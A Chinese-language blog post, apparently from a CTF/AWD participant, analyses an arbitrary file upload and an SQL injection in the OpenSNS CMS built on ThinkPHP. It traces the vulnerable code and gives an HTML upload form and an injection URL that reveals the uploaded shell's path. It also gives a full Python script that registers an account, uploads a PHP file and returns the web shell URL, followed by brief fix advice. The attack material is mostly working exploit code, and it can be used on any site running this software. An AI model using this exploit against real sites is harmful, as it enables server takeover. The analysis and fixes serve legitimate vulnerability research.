0x01前言

前些天表哥们去打awd,碰到这个opensns,百度了几个漏洞都没利用成功,最后终于在Google上找到了这个利用方法(http://0day5.com/archives/4280/),然而比赛也快结束了。。。。这套cms基于ThinkPHP框架开发,感觉有必要跟一跟这个漏洞。话不多说,开始!

0x02漏洞分析

问题出在/Application/Weibo/Controller/ShareController.class.php中的doSendShare函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function doSendShare(){
$aContent = I('post.content','','text');
$aQuery = I('post.query','','text');
parse_str($aQuery,$feed_data);

if(empty($aContent)){
$this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
}
if(!is_login()){
$this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
}

$new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);

$info = D('Weibo/Share')->getInfo($feed_data);
......

可以看到$aQuery和$aContent都是通过post传递过来的,然后下面对$aQuery进行操作,结果保存在$feed_data中。

1
parse_str($aQuery,$feed_data);

跟踪$feed_data变量,可以看到它进入了getInfo函数。
位置:/Application/Weibo/Model/ShareModel.class.php

1
2
3
4
5
6
7
8
9
public function getInfo($param)
{
$info = array();
if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
}

return $info;
}

这里这个D函数是ThinkPH中的一个实例化类的函数,跟一下看看:
位置:/ThinkPHP/Common/functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function D($name = '', $layer = '')
{
if (empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer ? : C('DEFAULT_M_LAYER');
if (isset($_model[$name . $layer]))
return $_model[$name . $layer];
$class = parse_res_name($name, $layer);
if (class_exists($class)) {
$model = new $class(basename($name));
} elseif (false === strpos($name, '/')) {
// 自动加载公共模块下面的模型
if (!C('APP_USE_NAMESPACE')) {
import('Common/' . $layer . '/' . $class);
} else {
$class = '\\Common\\' . $layer . '\\' . $name . $layer;
}
$model = class_exists($class) ? new $class($name) : new Think\Model($name);
} else {
\Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name . $layer] = $model;
return $model;
}

这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。那么可以看到如果$layer为空的话,就取C(‘DEFAULT_M_LAYER’)的值,那么这个值是多少呢?
/ThinkPHP/Conf/convention.php中有:

1
'DEFAULT_M_LAYER'       =>  'Model', // 默认的模型层名称

那么就是取默认的值,也就是Model。
那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。
再回过头来看getInfo函数这一行

1
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);

只传递了一个参数,$param[‘model’]是要调用的模块,$param[‘method’]是方法(只能是public),$param[‘id’]是所调用方法的第一个参数。
这个地方要怎么利用呢?在这里膜一下大牛的思路——找一个上传类,能上传文件,不就能getshell了嘛!

/Application/Home/Model/FileModel.class.php这个文件中有一个文件上传函数,具体看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function upload($files, $setting, $driver = 'Local', $config = null){
/* 上传文件 */
$setting['callback'] = array($this, 'isFile');
$Upload = new \Think\Upload($setting, $driver, $config);
$info = $Upload->upload($files);

/* 设置文件保存位置 */
$this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);

if($info){ //文件上传成功,记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}

/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
} else {
//TODO: 文件上传成功,但是记录文件信息失败,需记录日志
unset($info[$key]);
}
}
return $info; //文件上传成功
} else {
$this->error = $Upload->getError();
return false;
}
}

这里调用了ThinkPHP的upload函数,继续跟踪。

1
$info   = $Upload->upload($files);

位置:/ThinkPHP/Library/Think/Upload.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
public function upload($files = '')
{
/*省略部分代码*/
// 对上传文件数组信息处理
$files = $this->dealFiles($files);

foreach ($files as $key => $file) {
if (!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if (isset($finfo)) {
$file['type'] = finfo_file($finfo, $file['tmp_name']);
}

/* 获取上传文件后缀,允许上传无后缀文件 */
$file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);

/* 文件上传检测 */
if (!$this->check($file)) {
continue;
}

/* 获取文件hash */
if ($this->hash) {
$file['md5'] = md5_file($file['tmp_name']);
$file['sha1'] = sha1_file($file['tmp_name']);
}

/* 调用回调函数检测文件是否存在 */
$data = call_user_func($this->callback, $file);


if ($this->callback && $data) {
$drconfig = $this->driverConfig;
$fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);

if (file_exists('.' . $data['path'])) {
$info[$key] = $data;
continue;
} elseif ($this->uploader->info($fname)) {
$info[$key] = $data;
continue;
} elseif ($this->removeTrash) {
call_user_func($this->removeTrash, $data); //删除垃圾据
}
}

/* 生成保存文件名 */
$savename = $this->getSaveName($file);
if (false == $savename) {
continue;
} else {
$file['savename'] = $savename;
//$file['name'] = $savename;
}

/* 检测并创建子目录 */
$subpath = $this->getSubPath($file['name']);
if (false === $subpath) {
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}

/* 对图像文件进行严格检测 (不知道对这里严格检测的意义何在。。。)*/
$ext = strtolower($file['ext']);
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {
$imginfo = getimagesize($file['tmp_name']);
if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {
$this->error = '非法图像文件!';
continue;
}
}

$file['rootPath'] = $this->config['rootPath'];
$name = get_addon_class($this->driver);
if (class_exists($name)) {
$class = new $name();
if (method_exists($class, 'uploadDealFile')) {
$class->uploadDealFile($file);
}
}

/* 保存文件 并记录保存成功的文件 */
if ($this->uploader->save($file, $this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}
}
if (isset($finfo)) {
finfo_close($finfo);
}

return empty($info) ? false : $info;
}

注释都写得很详细,可以看到文件上传检测调用了一个check函数,跟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private function check($file)
{
/*省略*/
/* 检查文件Mime类型 */
//TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream
if (!$this->checkMime($file['type'])) {
$this->error = '上传文件MIME类型不允许!';
return false;
}

/* 检查文件后缀 */
if (!$this->checkExt($file['ext'])) {
$this->error = '上传文件后缀不允许';
return false;
}

/* 通过检测 */
return true;
}

前面的部分省略,重点看文件mime类型和文件后缀的检测

1
2
3
4
5
6
7
8
9
private function checkExt($ext)
{
return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
}

private function checkMime($mime)
{
return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
}

可以看到这两个检测函数都是去查看$this->config中相对应的成员,如果为空直接返回true。看一下$config:

1
2
3
4
5
6
private $config = array(
'mimes' => array(), //允许上传的文件MiMe类型 (空)
'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
'exts' => array(), //允许上传的文件后缀 (还是空。。)
/*......*/
);

这就意味着我们可以上传任意文件!现在还有几个头疼的问题就是我们不知道上传路径是什么,文件上传之后有没有被改名,现在我们回到upload函数中

1
2
3
4
5
6
7
8
/* 生成保存文件名 */
$savename = $this->getSaveName($file);
if (false == $savename) {
continue;
} else {
$file['savename'] = $savename;
//$file['name'] = $savename;
}

跟进getSaveName函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private function getSaveName($file)
{
$rule = $this->saveName;
if (empty($rule)) { //保持文件名不变
/* 解决pathinfo中文文件名BUG */
$filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);
$savename = $filename;
} else {
$savename = $this->getName($rule, $file['name']);
if (empty($savename)) {
$this->error = '文件命名规则错误!';
return false;
}
}
/* 文件保存后缀,支持强制更改文件后缀(config为空直接拼接上传文件的后缀名)*/
$ext = empty($this->config['saveExt']) ? $file['ext'] : $this->saveExt;

return $savename . '.' . $ext;
}

首先看一下saveName的值,依然是在config中:

1
'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组

$rule不为空,上传的文件就一定会被重命名,之后$rule又进入了getName函数,继续跟

1
2
3
4
5
6
7
8
9
10
11
12
13
private function getName($rule, $filename)
{
$name = '';
/*......*/
} elseif (is_string($rule)) { //字符串规则
if (function_exists($rule)) {
$name = call_user_func($rule);
} else {
$name = $rule;
}
}
return $name;
}

上面config中的uniqid是php内置的函数,掏出小本本来查一查。

uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。

上传文件命名的流程就很清晰了,首先利用uniqid()生成一个唯一id,然后拼接后缀名,对任意文件上传是没有影响的。
先上传一波试试

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>
<form action="http://127.0.0.1/opensns/index.php?s=/weibo/share/doSendShare.html" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" />
<br />
<input type="text" name="content" value="123" id="1" />
<input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

利用这个表单上传即可,但是。。。上传完了没有回显,惊不惊喜?意不意外?
现在回到/Application/Home/Model/FileModel.class.php中的upload函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($info){ //文件上传成功,记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}

/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
} else {
//TODO: 文件上传成功,但是记录文件信息失败,需记录日志
unset($info[$key]);
}
}
return $info; //文件上传成功

大体看了看create和add函数,都是与数据库有关的操作,也就是说我们上传文件的信息保存在数据库中了。这时候就要请出seay代码审计系统中的神器——Mysql监控了。利用上面的表单上传一个文件,在mysql监控中搜索INSERT即可找到对应的表为ocenter_file

从数据库里获取数据最好的方法是什么?当然是注入了!所以大牛轻描淡写的又挖了一枚注入,再膜一波。。。。。
注入出现在Application/Ucenter/Controller/IndexController.class.php的information函数中

1
2
3
4
5
public function information($uid = null)
{
//调用API获取基本信息
//TODO tox 获取省市区数据
$user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid);

继续跟进query_user函数
位置:/Application/Common/Model/UserModel.class.php

1
2
3
4
5
6
7
8
9
10
11
12
function query_user($pFields = null, $uid = 0)
{
$user_data = array();//用户数据
$fields = $this->getFields($pFields);//需要检索的字段
$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID
//获取缓存过的字段,尽可能在此处命中全部数据

list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);
$user_data = $cacheResult;//用缓存初始用户数据
//从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据
list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);
/*......*/

注意看这里

1
$uid = (intval($uid) != 0 ? $uid : get_uid());

这里只是在判断的时候讲$uid intval了一下,实际并没有对$uid造成任何影响,我们构造的语句依然可以带入数据库执行。后面$uid又进入了getNeedQueryData函数,跟下去

1
2
3
4
5
6
7
private function getNeedQueryData($user_data, $fields, $uid)
{
$need_query = array_intersect($this->table_fields, $fields);
//如果有需要检索的数据
if (!empty($need_query)) {
$db_prefix=C('DB_PREFIX');
$query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1"); /*****/

可以看到$uid未做任何处理直接拼接语句,我们就可以通过这个注入来获取我们shell的文件名和路径了。
poc如下:

1
http://127.0.0.1/opensns/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html

0x03漏洞利用

两个漏洞的利用方式已经在上面的分析过程中给出了,这里放一个py的利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import requests
import random
import re

s = requests.Session()
url = 'http://10.10.10.139/opensns/'

def getRandomName():
name = ''
for i in range(4):
name += chr(random.randint(97, 122))
return name

def register():
global s
registerUrl = url + 'index.php?s=/ucenter/member/register.html'
nickname = getRandomName()

headers = {
'Referer': registerUrl,
'Content-Type': 'application/x-www-form-urlencoded',
}
data = {
'role': '1',
'username': nickname+'@test.com',
'nickname': nickname,
'password': '123456',
'reg_type': 'email',
}
r = s.post(registerUrl, data=data, headers=headers)

return nickname

def login(username):
global s
loginUrl = url + 'index.php?s=/ucenter/member/login.html'

headers = {
'Referer': loginUrl,
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
#'X-Requested-With': 'XMLHttpRequest',
}
data = {
'username': username,
'password': '123456',
'remember': '0',
'from': loginUrl,
}
r = s.post(loginUrl, data=data, headers=headers)
#print(r.text)

def upload():
global s
uploadUrl = url + 'index.php?s=/weibo/share/doSendShare.html'
file = {'file_img': open('l.php', 'r')}
data = {
'content': '123',
'query': 'app=Home&model=File&method=upload&id=',
}
r = s.post(uploadUrl, data=data, files=file)
#print(r.text)

def getShell():
global s
exp = url + 'index.php?s=/ucenter/index/information/uid/23333 union (select 1,2,concat(savepath,savename),4 from ocenter_file where savename like 0x252e706870 order by id desc limit 0,1)#.html'
r = s.get(exp)
#print(r.text)
shellUrl = url + 'Uploads/' + re.findall(r'>(.*?)</attr>', r.text)[0]

r = s.get(shellUrl)
return shellUrl if r.status_code == 200 else False

def main():
username = register()
login(username)
upload()
shell = getShell()
if shell:
print('[*] Getshell! Url is ' + shell)
else:
print('[-] Something Wrong...')

if __name__ == '__main__':
main()

0x04漏洞修复

  1. 上传:在/ThinkPHP/Library/Think/Upload.class.php的config变量中设置允许上传的文件mime和文件后缀名。
  2. 注入:在Application/Ucenter/Controller/IndexController.class.php的information函数中先对$uid进行intval处理,在进行后续操作。